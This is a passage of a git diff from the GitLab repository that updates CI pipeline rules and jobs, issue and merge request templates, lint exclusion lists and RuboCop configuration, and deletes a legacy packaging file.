- <<: *if-merge-request-title-as-if-foss
+ changes: *backend-patterns
- <<: *if-merge-request
changes: *ci-patterns
@@ -536,6 +552,7 @@
- <<: *if-security-merge-request
changes: *code-backstage-patterns
- <<: *if-merge-request-title-as-if-foss
+ changes: *code-backstage-patterns
- <<: *if-merge-request
changes: *ci-patterns
@@ -549,7 +566,16 @@
- <<: *if-master-refs
changes: *code-backstage-patterns
-.rails:rules:ee-mr-only:
+.rails:rules:detect-tests:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-backstage-patterns
+
+.rails:rules:rspec-foss-impact:
rules:
- <<: *if-not-ee
when: never
@@ -560,6 +586,34 @@
- <<: *if-dot-com-gitlab-org-merge-request
changes: *code-backstage-patterns
+.rails:rules:rspec fail-fast:
+ rules:
+ - <<: *if-rspec-fail-fast-disabled
+ when: never
+ - <<: *if-rspec-fail-fast-skipped
+ when: never
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-backstage-patterns
+
+.rails:rules:fail-pipeline-early:
+ rules:
+ - <<: *if-rspec-fail-fast-disabled
+ when: never
+ - <<: *if-rspec-fail-fast-skipped
+ when: never
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
+ when: on_failure
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-backstage-patterns
+ when: on_failure
+
.rails:rules:downtime_check:
rules:
- <<: *if-merge-request
@@ -569,6 +623,8 @@
rules:
- <<: *if-not-ee
when: never
+ - <<: *if-merge-request
+ changes: *code-backstage-patterns
- <<: *if-master-schedule-2-hourly
- <<: *if-merge-request-title-run-all-rspec
@@ -643,7 +699,8 @@
rules:
- if: '$DAST_DISABLED || $GITLAB_FEATURES !~ /\bdast\b/'
when: never
- - <<: *if-dot-com-gitlab-org-schedule
+ - <<: *if-master-schedule-nightly
+ allow_failure: true
################
# Review rules #
@@ -662,8 +719,26 @@
allow_failure: true
- <<: *if-dot-com-gitlab-org-schedule
-.review:rules:mr-and-schedule-auto-if-frontend-manual-otherwise:
+.review:rules:review-deploy:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *ci-review-patterns
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *frontend-patterns
+ allow_failure: true
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-qa-patterns
+ when: manual
+ allow_failure: true
+ - <<: *if-dot-com-gitlab-org-schedule
+ allow_failure: true
+
+.review:rules:review-performance:
rules:
+ - if: '$DAST_RUN == "true"' # Skip this job when DAST is run
+ when: never
- <<: *if-not-ee
when: never
- <<: *if-dot-com-gitlab-org-merge-request
@@ -719,6 +794,17 @@
- <<: *if-dot-com-gitlab-org-schedule
allow_failure: true
+.review:rules:review-stop:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-qa-patterns
+ when: manual
+ allow_failure: true
+ - <<: *if-dot-com-gitlab-org-schedule
+ allow_failure: true
+
.review:rules:danger:
rules:
- if: '$DANGER_GITLAB_API_TOKEN && $CI_MERGE_REQUEST_IID'
@@ -757,6 +843,14 @@
changes: *code-backstage-patterns
when: on_success
+.setup:rules:verify-tests-yml:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-default-refs
+ changes: *code-backstage-patterns
+ when: on_success
+
#######################
# Test metadata rules #
#######################
diff --git a/.gitlab/ci/setup.gitlab-ci.yml b/.gitlab/ci/setup.gitlab-ci.yml
index 26c7a2194cc..cf42d2a8a5e 100644
--- a/.gitlab/ci/setup.gitlab-ci.yml
+++ b/.gitlab/ci/setup.gitlab-ci.yml
@@ -48,3 +48,46 @@ no_ee_check:
stage: test
script:
- scripts/no-ee-check
+
+verify-tests-yml:
+ extends:
+ - .setup:rules:verify-tests-yml
+ image: ruby:2.6-alpine
+ stage: test
+ needs: []
+ script:
+ - source scripts/utils.sh
+ - install_tff_gem
+ - scripts/verify-tff-mapping
+
+.detect-test-base:
+ image: ruby:2.6-alpine
+ needs: []
+ stage: prepare
+ script:
+ - source scripts/utils.sh
+ - install_gitlab_gem
+ - install_tff_gem
+ - tooling/bin/find_foss_tests ${MATCHED_TESTS_FILE}
+ - 'echo "test files affected: $(cat $MATCHED_TESTS_FILE)"'
+ artifacts:
+ expire_in: 7d
+ paths:
+ - ${MATCHED_TESTS_FILE}
+
+detect-tests:
+ extends:
+ - .detect-test-base
+ - .rails:rules:detect-tests
+ variables:
+ MATCHED_TESTS_FILE: tmp/matching_tests.txt
+
+detect-tests as-if-foss:
+ extends:
+ - .detect-test-base
+ - .rails:rules:detect-tests
+ - .as-if-foss
+ variables:
+ MATCHED_TESTS_FILE: tmp/matching_foss_tests.txt
+ before_script:
+ - '[ "$FOSS_ONLY" = "1" ] && rm -rf ee/ qa/spec/ee/ qa/qa/specs/features/ee/ qa/qa/ee/ qa/qa/ee.rb'
diff --git a/.gitlab/issue_templates/Bug.md b/.gitlab/issue_templates/Bug.md
index 037f83c93d2..41b694fdf2c 100644
--- a/.gitlab/issue_templates/Bug.md
+++ b/.gitlab/issue_templates/Bug.md
@@ -12,37 +12,39 @@ and verify the issue you're about to submit isn't a duplicate.
### Summary
-(Summarize the bug encountered concisely)
+<!-- Summarize the bug encountered concisely. -->
### Steps to reproduce
-(How one can reproduce the issue - this is very important)
+<!-- Describe how one can reproduce the issue - this is very important. Please use an ordered list. -->
### Example Project
-(If possible, please create an example project here on GitLab.com that exhibits the problematic behavior, and link to it here in the bug report)
-
-(If you are using an older version of GitLab, this will also determine whether the bug is fixed in a more recent version)
+<!-- If possible, please create an example project here on GitLab.com that exhibits the problematic
+behavior, and link to it here in the bug report. If you are using an older version of GitLab, this
+will also determine whether the bug is fixed in a more recent version. -->
### What is the current *bug* behavior?
-(What actually happens)
+<!-- Describe what actually happens. -->
### What is the expected *correct* behavior?
-(What you should see instead)
+<!-- Describe what you should see instead. -->
### Relevant logs and/or screenshots
-(Paste any relevant logs - please use code blocks (```) to format console output,
-logs, and code as it's tough to read otherwise.)
+<!-- Paste any relevant logs - please use code blocks (```) to format console output, logs, and code
+ as it's tough to read otherwise. -->
### Output of checks
-(If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com)
+<!-- If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com -->
#### Results of GitLab environment info
+<!-- Input any relevant GitLab environment information if needed. -->
+
<details>
<summary>Expand for output related to GitLab environment info</summary>
@@ -59,6 +61,8 @@ logs, and code as it's tough to read otherwise.)
#### Results of GitLab application Check
+<!-- Input any relevant GitLab application check information if needed. -->
+
<details>
<summary>Expand for output related to the GitLab application check</summary>
<pre>
@@ -76,6 +80,6 @@ logs, and code as it's tough to read otherwise.)
### Possible fixes
-(If you can, link to the line of code that might be responsible for the problem)
+<!-- If you can, link to the line of code that might be responsible for the problem. -->
/label ~bug
diff --git a/.gitlab/issue_templates/Feature proposal.md b/.gitlab/issue_templates/Feature proposal.md
index 4e894b8ce80..0f19b7c75f5 100644
--- a/.gitlab/issue_templates/Feature proposal.md
+++ b/.gitlab/issue_templates/Feature proposal.md
@@ -1,4 +1,8 @@
-<!-- The first four sections: "Problem to solve", "Intended users", "User experience goal", and "Proposal", are strongly recommended, while the rest of the sections can be filled out during the problem validation or breakdown phase. However, keep in mind that providing complete and relevant information early helps our product team validate the problem and start working on a solution. -->
+<!-- The first section "Release notes" is required if you want to have your release post blog MR auto generated. Currently in BETA, details on the **release post item generator** can be found in the handbook: https://about.gitlab.com/handbook/marketing/blog/release-posts/#release-post-item-generator and this video: https://www.youtube.com/watch?v=rfn9ebgTwKg. The next four sections: "Problem to solve", "Intended users", "User experience goal", and "Proposal", are strongly recommended in your first draft, while the rest of the sections can be filled out during the problem validation or breakdown phase. However, keep in mind that providing complete and relevant information early helps our product team validate the problem and start working on a solution. -->
+
+### Release notes
+
+<!-- What is the problem and solution you're proposing? This content sets the overall vision for the feature and serves as the release notes that will populate in various places, including the [release post blog](https://about.gitlab.com/releases/categories/releases/) and [Gitlab project releases](https://gitlab.com/gitlab-org/gitlab/-/releases). " -->
### Problem to solve
diff --git a/.gitlab/issue_templates/QA Failure.md b/.gitlab/issue_templates/QA Failure.md
index 772f363ae31..9751b40cb91 100644
--- a/.gitlab/issue_templates/QA Failure.md
+++ b/.gitlab/issue_templates/QA Failure.md
@@ -68,10 +68,10 @@ a nightly pipeline, select ~"found:nightly".
<!--
https://about.gitlab.com/handbook/engineering/quality/guidelines/#priorities:
-- ~P::1: Tests that are needed to verify fundamental GitLab functionality.
-- ~P::2: Tests that deal with external integrations which may take a longer time to debug and fix.
+- ~"priority::1": Tests that are needed to verify fundamental GitLab functionality.
+- ~"priority::2": Tests that deal with external integrations which may take a longer time to debug and fix.
-->
-/label ~P::
+/label ~priority::
-<!-- Select the current milestone if ~P::1 or the next milestone if ~P::2. -->
+<!-- Select the current milestone if ~"priority::1" or the next milestone if ~"priority::2". -->
/milestone %
diff --git a/.gitlab/issue_templates/Security developer workflow.md b/.gitlab/issue_templates/Security developer workflow.md
index d21da6a161b..840ef4c6337 100644
--- a/.gitlab/issue_templates/Security developer workflow.md
+++ b/.gitlab/issue_templates/Security developer workflow.md
@@ -27,7 +27,7 @@ After your merge request has been approved according to our [approval guidelines
* At this point, it might be easy to squash the commits from the MR into one
* You can use the script `bin/secpick` instead of the following steps, to help you cherry-picking. See the [secpick documentation]
- [ ] Create each MR targeting the stable branch `X-Y-stable`, using the [Security Release merge request template].
- * Every merge request will have its own set of TODOs, so make sure to complete those.
+ * Every merge request will have its own set of to-dos, so make sure to complete those.
- [ ] On the "Related merge requests" section, ensure that `4` merge requests are associated: The one targeting `master` and the `3` backports.
- [ ] If this issue requires less than `4` merge requests, post a message on the Security Release Tracking Issue and ping the Release Managers.
diff --git a/.gitlab/issue_templates/actionable_insight.md b/.gitlab/issue_templates/actionable_insight.md
index 08fbb30001c..7c65388eff4 100644
--- a/.gitlab/issue_templates/actionable_insight.md
+++ b/.gitlab/issue_templates/actionable_insight.md
@@ -12,7 +12,7 @@ Actionable insights always have a follow-up action that needs to take place as a
#### Description
-- [ ] Provide some brief detials on the actionable insight and the action to take
+- [ ] Provide some brief details on the actionable insight and the action to take
-------------------------------------------------------------------------------
@@ -28,4 +28,4 @@ Actionable insights always have a follow-up action that needs to take place as a
- ~"Actionable Insight"
+ /label ~"Actionable Insight"
diff --git a/.gitlab/merge_request_templates/Documentation.md b/.gitlab/merge_request_templates/Documentation.md
index fb828b995b1..b17043fd3b9 100644
--- a/.gitlab/merge_request_templates/Documentation.md
+++ b/.gitlab/merge_request_templates/Documentation.md
@@ -16,9 +16,10 @@
## Author's checklist (required)
- [ ] Follow the [Documentation Guidelines](https://docs.gitlab.com/ee/development/documentation/) and [Style Guide](https://docs.gitlab.com/ee/development/documentation/styleguide.html).
-- If you have `developer` access or higher (for example, GitLab team members or [Core Team](https://about.gitlab.com/community/core-team/) members)
+- If you have **Developer** permissions or higher:
+ - [ ] Ensure that the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide.html#product-badges) is added to doc's `h1`.
- [ ] Apply the ~documentation label, plus:
- - The corresponding DevOps stage and group label, if applicable.
+ - The corresponding DevOps stage and group labels, if applicable.
- ~"development guidelines" when changing docs under `doc/development/*`, `CONTRIBUTING.md`, or `README.md`.
- ~"development guidelines" and ~"Documentation guidelines" when changing docs under `development/documentation/*`.
- ~"development guidelines" and ~"Description templates (.gitlab/\*)" when creating/updating issue and MR description templates.
@@ -30,10 +31,9 @@ When applicable:
- [ ] Update the [permissions table](https://docs.gitlab.com/ee/user/permissions.html).
- [ ] Link docs to and from the higher-level index page, plus other related docs where helpful.
+- [ ] Add the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide.html#product-badges) accordingly.
- [ ] Add [GitLab's version history note(s)](https://docs.gitlab.com/ee/development/documentation/styleguide.html#text-for-documentation-requiring-version-text).
-- [ ] Add the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide.html#product-badges).
- [ ] Add/update the [feature flag section](https://docs.gitlab.com/ee/development/documentation/feature_flags.html).
-- [ ] If you're changing document headings, search `doc/*`, `app/views/*`, and `ee/app/views/*` for old headings replacing with the new ones to [avoid broken anchors](https://docs.gitlab.com/ee/development/documentation/styleguide.html#anchor-links).
## Review checklist
@@ -46,8 +46,9 @@ All reviewers can help ensure accuracy, clarity, completeness, and adherence to
**2. Technical Writer**
- [ ] Technical writer review. If not requested for this MR, must be scheduled post-merge. To request for this MR, assign the writer listed for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages).
- - [ ] Ensure ~"Technical Writing", ~"documentation", and a `docs::` scoped label are added.
- - [ ] Add ~docs-only when the only files changed are under `doc/*`.
+ - [ ] Ensure docs metadata are present and up-to-date.
+ - [ ] Ensure ~"Technical Writing" and ~"documentation" are added.
+ - [ ] Add the corresponding `docs::` scoped label.
- [ ] Add ~"tw::doing" when starting work on the MR.
- [ ] Add ~"tw::finished" if Technical Writing team work on the MR is complete but it remains open.
diff --git a/.gitlab/merge_request_templates/Security Release.md b/.gitlab/merge_request_templates/Security Release.md
index bdf26041e62..eda16747c13 100644
--- a/.gitlab/merge_request_templates/Security Release.md
+++ b/.gitlab/merge_request_templates/Security Release.md
@@ -23,7 +23,6 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
- [ ] Ensure it's approved by an AppSec engineer.
- If you're unsure who should approve, find the AppSec engineer associated to the issue in the [Canonical repository], or ask #sec-appsec on Slack.
- Trigger the [`package-and-qa` build]. The docker image generated will be used by the AppSec engineer to validate the security vulnerability has been remediated.
- - [ ] Merge request _must_ close the corresponding security issue.
- [ ] For a backport MR targeting a versioned stable branch (`X-Y-stable-ee`)
- [ ] Ensure it's approved by a maintainer.
diff --git a/.haml-lint_todo.yml b/.haml-lint_todo.yml
index dabf7cd9a95..83aba188d2b 100644
--- a/.haml-lint_todo.yml
+++ b/.haml-lint_todo.yml
@@ -63,6 +63,8 @@ linters:
- "app/views/admin/users/new.html.haml"
- "app/views/admin/users/projects.html.haml"
- "app/views/admin/users/show.html.haml"
+ - 'app/views/authentication/_authenticate.html.haml'
+ - 'app/views/authentication/_register.html.haml'
- "app/views/clusters/clusters/_cluster.html.haml"
- "app/views/clusters/clusters/new.html.haml"
- "app/views/dashboard/milestones/index.html.haml"
@@ -116,9 +118,12 @@ linters:
- "app/views/import/bitbucket/status.html.haml"
- "app/views/import/bitbucket_server/status.html.haml"
- "app/views/invites/show.html.haml"
+ - "app/views/jira_connect/subscriptions/index.html.haml"
- "app/views/layouts/_mailer.html.haml"
+ - "app/views/layouts/experiment_mailer.html.haml"
- "app/views/layouts/header/_default.html.haml"
- "app/views/layouts/header/_new_dropdown.haml"
+ - "app/views/layouts/jira_connect.html.haml"
- "app/views/layouts/notify.html.haml"
- "app/views/notify/_failed_builds.html.haml"
- "app/views/notify/_reassigned_issuable_email.html.haml"
@@ -289,7 +294,6 @@ linters:
- "app/views/shared/issuable/_search_bar.html.haml"
- "app/views/shared/issuable/_sidebar.html.haml"
- "app/views/shared/issuable/form/_default_templates.html.haml"
- - "app/views/shared/issuable/form/_issue_assignee.html.haml"
- "app/views/shared/issuable/form/_template_selector.html.haml"
- "app/views/shared/issuable/form/_title.html.haml"
- "app/views/shared/labels/_form.html.haml"
@@ -309,8 +313,6 @@ linters:
- "app/views/shared/web_hooks/_form.html.haml"
- "app/views/shared/web_hooks/_hook.html.haml"
- "app/views/shared/wikis/_pages_wiki_page.html.haml"
- - "app/views/u2f/_authenticate.html.haml"
- - "app/views/u2f/_register.html.haml"
- "app/views/users/_deletion_guidance.html.haml"
- "ee/app/views/admin/_namespace_plan_info.html.haml"
- "ee/app/views/admin/application_settings/_templates.html.haml"
@@ -333,8 +335,6 @@ linters:
- "ee/app/views/groups/group_members/_sync_button.html.haml"
- "ee/app/views/groups/hooks/edit.html.haml"
- "ee/app/views/groups/ldap_group_links/index.html.haml"
- - "ee/app/views/jira_connect/subscriptions/index.html.haml"
- - "ee/app/views/layouts/jira_connect.html.haml"
- "ee/app/views/layouts/nav/ee/admin/_new_monitoring_sidebar.html.haml"
- "ee/app/views/layouts/service_desk.html.haml"
- "ee/app/views/ldap_group_links/_form.html.haml"
diff --git a/.markdownlint.json b/.markdownlint.json
index 1c276dc42ba..e548e03fe28 100644
--- a/.markdownlint.json
+++ b/.markdownlint.json
@@ -45,9 +45,11 @@
"Debian",
"DevOps",
"Docker",
+ "DockerSlim",
"Elasticsearch",
"Facebook",
"fastlane",
+ "fluent-plugin-redis-slowlog",
"GDK",
"Geo",
"Git LFS",
@@ -71,6 +73,7 @@
"Gzip",
"Helm",
"HipChat",
+ "ID",
"Ingress",
"jasmine-jquery",
"JavaScript",
diff --git a/.pkgr.yml b/.pkgr.yml
deleted file mode 100644
index 2e741f41a9e..00000000000
--- a/.pkgr.yml
+++ /dev/null
@@ -1,49 +0,0 @@
-user: git
-group: git
-services:
- - postgres
-before_precompile: ./bin/pkgr_before_precompile.sh
-env:
- - SKIP_STORAGE_VALIDATION=true
-targets:
- debian-7: &wheezy
- build_dependencies:
- - libkrb5-dev
- - libicu-dev
- - cmake
- - pkg-config
- dependencies:
- - libicu48
- - libpcre3
- - git
- ubuntu-12.04: *wheezy
- ubuntu-14.04:
- build_dependencies:
- - libkrb5-dev
- - libicu-dev
- - cmake
- - pkg-config
- dependencies:
- - libicu52
- - libpcre3
- - git
- ubuntu-16.04:
- build_dependencies:
- - libkrb5-dev
- - libicu-dev
- - cmake
- - pkg-config
- dependencies:
- - libicu55
- - libpcre3
- - git
- centos-6:
- build_dependencies:
- - krb5-devel
- - libicu-devel
- - cmake
- - pkgconfig
- dependencies:
- - libicu
- - pcre
- - git
diff --git a/.rubocop.yml b/.rubocop.yml
index f3a264d1f2f..47dc85a79f0 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -60,6 +60,9 @@ Style/MutableConstant:
Style/SafeNavigation:
Enabled: false
+Style/AccessModifierDeclarations:
+ AllowModifiersOnSymbols: true
+
# Frozen String Literal
Style/FrozenStringLiteralComment:
Enabled: true
@@ -243,6 +246,13 @@ Gitlab/Json:
- 'lib/quality/**/*'
- 'lib/gitlab/danger/**/*'
+Gitlab/AvoidUploadedFileFromParams:
+ Enabled: true
+ Exclude:
+ - 'lib/gitlab/middleware/multipart.rb'
+ - 'spec/**/*'
+ - 'ee/spec/**/*'
+
GitlabSecurity/PublicSend:
Enabled: true
Exclude:
@@ -282,6 +292,14 @@ Cop/ActiveRecordAssociationReload:
Gitlab/AvoidFeatureGet:
Enabled: true
+RSpec/TimecopFreeze:
+ Enabled: false
+ AutoCorrect: true
+ Include:
+ - 'spec/**/*.rb'
+ - 'ee/spec/**/*.rb'
+ - 'qa/spec/**/*.rb'
+
Naming/PredicateName:
Enabled: true
Exclude:
@@ -509,3 +527,24 @@ Cop/PutGroupRoutesUnderScope:
Include:
- 'config/routes/group.rb'
- 'ee/config/routes/group.rb'
+
+Migration/ComplexIndexesRequireName:
+ Exclude:
+ - !ruby/regexp /\Adb\/(post_)?migrate\/201.*\.rb\z/
+ - !ruby/regexp /\Adb\/(post_)?migrate\/20200[1-7].*\.rb\z/
+
+Migration/ReferToIndexByName:
+ Exclude:
+ - !ruby/regexp /\Adb\/(post_)?migrate\/201.*\.rb\z/
+ - !ruby/regexp /\Adb\/(post_)?migrate\/20200[1-7].*\.rb\z/
+ - !ruby/regexp /\Aee\/db\/geo\/(post_)?migrate\/201.*\.rb\z/
+
+Migration/CreateTableWithForeignKeys:
+ # Disable this cop for all the existing migrations
+ Exclude:
+ - !ruby/regexp /\Adb\/(?:post_)?migrate\/(?:201[0-9]\d+|20200[0-8][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9])_.+\.rb\z/
+
+Gitlab/RailsLogger:
+ Exclude:
+ - 'spec/**/*.rb'
+ - 'ee/spec/**/*.rb'
diff --git a/.rubocop_todo.yml b/.rubocop_todo.yml
index f020e0af588..228fb7bd6ea 100644
--- a/.rubocop_todo.yml
+++ b/.rubocop_todo.yml
@@ -18,44 +18,6 @@ Capybara/CurrentPathExpectation:
Layout/ArgumentAlignment:
Enabled: false
-# Offense count: 13
-# Cop supports --auto-correct.
-Layout/ClosingHeredocIndentation:
- Exclude:
- - 'app/graphql/mutations/merge_requests/set_wip.rb'
- - 'ee/db/geo/migrate/20180322062741_migrate_ci_job_artifacts_to_separate_registry.rb'
- - 'ee/lib/gitlab/geo/health_check.rb'
- - 'spec/features/merge_request/user_sees_diff_spec.rb'
- - 'spec/lib/gitlab/asciidoc_spec.rb'
- - 'spec/lib/gitlab/checks/project_moved_spec.rb'
- - 'spec/rubocop/cop/active_record_association_reload_spec.rb'
- - 'spec/services/task_list_toggle_service_spec.rb'
-
-# Offense count: 13
-# Cop supports --auto-correct.
-Layout/ClosingParenthesisIndentation:
- Exclude:
- - 'db/post_migrate/20180704145007_update_project_indexes.rb'
- - 'ee/db/geo/migrate/20180405074130_add_partial_index_project_repository_verification.rb'
- - 'spec/services/issues/resolve_discussions_spec.rb'
- - 'spec/services/projects/update_service_spec.rb'
- - 'spec/support/helpers/stub_object_storage.rb'
- - 'spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb'
-
-# Offense count: 72
-# Cop supports --auto-correct.
-Layout/EmptyLinesAroundArguments:
- Exclude:
- - 'app/models/concerns/discussion_on_diff.rb'
- - 'app/models/concerns/resolvable_discussion.rb'
- - 'app/models/diff_discussion.rb'
- - 'app/models/discussion.rb'
- - 'ee/spec/models/geo/project_registry_spec.rb'
- - 'lib/banzai/pipeline/broadcast_message_pipeline.rb'
- - 'lib/banzai/pipeline/gfm_pipeline.rb'
- - 'lib/banzai/pipeline/single_line_pipeline.rb'
- - 'spec/features/markdown/copy_as_gfm_spec.rb'
-
# Offense count: 413
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, IndentationWidth.
@@ -70,17 +32,6 @@ Layout/FirstArrayElementIndentation:
Layout/FirstHashElementIndentation:
Enabled: false
-# Offense count: 4
-# Cop supports --auto-correct.
-# Configuration parameters: EnforcedStyle, IndentationWidth.
-# SupportedStyles: consistent, align_parentheses
-Layout/FirstParameterIndentation:
- Exclude:
- - 'lib/gitlab/cross_project_access.rb'
- - 'lib/gitlab/data_builder/push.rb'
- - 'spec/support/helpers/repo_helpers.rb'
- - 'spec/support/helpers/stub_object_storage.rb'
-
# Offense count: 2164
# Cop supports --auto-correct.
# Configuration parameters: AllowMultipleStyles, EnforcedHashRocketStyle, EnforcedColonStyle, EnforcedLastArgumentHashStyle.
@@ -104,33 +55,11 @@ Layout/LineLength:
Layout/MultilineOperationIndentation:
Enabled: false
-# Offense count: 9
-# Cop supports --auto-correct.
-Layout/RescueEnsureAlignment:
- Exclude:
- - 'app/models/blob_viewer/dependency_manager.rb'
- - 'app/models/project.rb'
- - 'app/services/prometheus/proxy_service.rb'
- - 'app/workers/delete_stored_files_worker.rb'
- - 'config/initializers/1_settings.rb'
- - 'config/initializers/trusted_proxies.rb'
- - 'lib/gitlab/background_migration/archive_legacy_traces.rb'
- - 'lib/gitlab/highlight.rb'
- - 'lib/tasks/gitlab/lfs/migrate.rake'
-
# Offense count: 36
# Cop supports --auto-correct.
Layout/SpaceAroundMethodCallOperator:
Enabled: false
-# Offense count: 2
-# Cop supports --auto-correct.
-# Configuration parameters: AllowForAlignment.
-Layout/SpaceBeforeFirstArg:
- Exclude:
- - 'spec/requests/api/runner_spec.rb'
- - 'spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb'
-
# Offense count: 642
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle.
@@ -158,23 +87,6 @@ Layout/SpaceInsideParens:
Lint/MissingCopEnableDirective:
Enabled: false
-# Offense count: 11
-# Cop supports --auto-correct.
-Lint/NonDeterministicRequireOrder:
- Exclude:
- - 'ee/spec/spec_helper.rb'
- - 'qa/spec/spec_helper.rb'
- - 'spec/spec_helper.rb'
-
-# Offense count: 3
-# Configuration parameters: AllowedImplicitNamespaces.
-# AllowedImplicitNamespaces: Gem
-Lint/RaiseException:
- Exclude:
- - 'db/migrate/20190402150158_backport_enterprise_schema.rb'
- - 'ee/spec/requests/api/helpers_spec.rb'
- - 'spec/requests/api/helpers_spec.rb'
-
# Offense count: 27
# Cop supports --auto-correct.
Lint/RedundantCopDisableDirective:
@@ -201,14 +113,6 @@ Lint/UriEscapeUnescape:
- 'spec/lib/google_api/auth_spec.rb'
- 'spec/requests/api/files_spec.rb'
-# Offense count: 3
-# Cop supports --auto-correct.
-Lint/UriRegexp:
- Exclude:
- - 'app/models/concerns/mentionable/reference_regexes.rb'
- - 'app/services/projects/download_service.rb'
- - 'lib/gitlab/ci/pipeline/chain/config/content/remote.rb'
-
# Offense count: 65
# Cop supports --auto-correct.
Migration/DepartmentName:
@@ -295,30 +199,6 @@ RSpec/ExpectChange:
RSpec/ExpectInHook:
Enabled: false
-# Offense count: 9
-# Cop supports --auto-correct.
-# Configuration parameters: EnforcedStyle.
-# SupportedStyles: it_behaves_like, it_should_behave_like
-RSpec/ItBehavesLike:
- Exclude:
- - 'spec/lib/gitlab/git/commit_spec.rb'
- - 'spec/services/notification_service_spec.rb'
-
-# Offense count: 68
-# Cop supports --auto-correct.
-RSpec/LetBeforeExamples:
- Exclude:
- - 'spec/lib/banzai/filter/issue_reference_filter_spec.rb'
- - 'spec/lib/banzai/filter/user_reference_filter_spec.rb'
- - 'spec/lib/gitlab/email/handler/create_issue_handler_spec.rb'
- - 'spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb'
- - 'spec/lib/gitlab/email/handler/create_note_handler_spec.rb'
- - 'spec/models/commit_range_spec.rb'
- - 'spec/models/milestone_spec.rb'
- - 'spec/models/project_services/packagist_service_spec.rb'
- - 'spec/rubocop/cop/migration/update_column_in_batches_spec.rb'
- - 'spec/serializers/pipeline_details_entity_spec.rb'
-
# Offense count: 2188
# Cop supports --auto-correct.
# Configuration parameters: Strict, EnforcedStyle, AllowedExplicitMatchers.
@@ -618,17 +498,6 @@ Security/YAMLLoad:
- 'spec/initializers/secret_token_spec.rb'
- 'spec/lib/gitlab/prometheus/additional_metrics_parser_spec.rb'
-# Offense count: 10
-# Configuration parameters: EnforcedStyle, AllowModifiersOnSymbols.
-# SupportedStyles: inline, group
-Style/AccessModifierDeclarations:
- Exclude:
- - 'app/helpers/issues_helper.rb'
- - 'app/helpers/lazy_image_tag_helper.rb'
- - 'lib/gitlab/cache/request_cache.rb'
- - 'lib/gitlab/request_profiler.rb'
- - 'spec/support/forgery_protection.rb'
-
# Offense count: 148
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle.
@@ -637,12 +506,6 @@ Style/BarePercentLiterals:
Enabled: false
# Offense count: 5
-Style/CommentedKeyword:
- Exclude:
- - 'lib/tasks/gitlab/backup.rake'
- - 'spec/tasks/gitlab/backup_rake_spec.rb'
-
-# Offense count: 5
# Cop supports --auto-correct.
Style/EachWithObject:
Exclude:
@@ -659,24 +522,6 @@ Style/EachWithObject:
Style/EmptyElse:
Enabled: false
-# Offense count: 11
-# Cop supports --auto-correct.
-Style/EmptyLambdaParameter:
- Exclude:
- - 'app/models/ci/build.rb'
- - 'app/models/ci/runner.rb'
-
-# Offense count: 7
-# Cop supports --auto-correct.
-Style/EmptyLiteral:
- Exclude:
- - 'lib/gitlab/fogbugz_import/importer.rb'
- - 'lib/gitlab/git/diff_collection.rb'
- - 'lib/gitlab/gitaly_client.rb'
- - 'spec/helpers/merge_requests_helper_spec.rb'
- - 'spec/lib/gitlab/workhorse_spec.rb'
- - 'spec/requests/api/jobs_spec.rb'
-
# Offense count: 170
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle.
@@ -735,13 +580,6 @@ Style/MixinUsage:
- 'spec/factories/notes.rb'
- 'spec/lib/gitlab/import_export/version_checker_spec.rb'
-# Offense count: 2
-# Cop supports --auto-correct.
-Style/MultilineIfModifier:
- Exclude:
- - 'app/services/ci/process_pipeline_service.rb'
- - 'lib/api/commit_statuses.rb'
-
# Offense count: 29
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, MinBodyLength.
@@ -767,22 +605,6 @@ Style/ParallelAssignment:
Style/PercentLiteralDelimiters:
Enabled: false
-# Offense count: 15
-# Cop supports --auto-correct.
-Style/PerlBackrefs:
- Exclude:
- - 'app/controllers/projects/application_controller.rb'
- - 'app/helpers/submodule_helper.rb'
- - 'lib/backup/manager.rb'
- - 'lib/banzai/filter/abstract_reference_filter.rb'
- - 'lib/banzai/filter/autolink_filter.rb'
- - 'lib/banzai/filter/emoji_filter.rb'
- - 'lib/banzai/filter/gollum_tags_filter.rb'
- - 'lib/expand_variables.rb'
- - 'lib/gitlab/diff/highlight.rb'
- - 'lib/gitlab/search_results.rb'
- - 'lib/gitlab/sherlock/query.rb'
-
# Offense count: 200
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle.
@@ -805,13 +627,6 @@ Style/RedundantInterpolation:
Style/RedundantSelf:
Enabled: false
-# Offense count: 2
-# Cop supports --auto-correct.
-Style/RedundantSort:
- Exclude:
- - 'app/presenters/packages/nuget/search_results_presenter.rb'
- - 'spec/presenters/packages/nuget/search_results_presenter_spec.rb'
-
# Offense count: 120
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, AllowInnerSlashes.
@@ -831,21 +646,6 @@ Style/RescueModifier:
Style/RescueStandardError:
Enabled: false
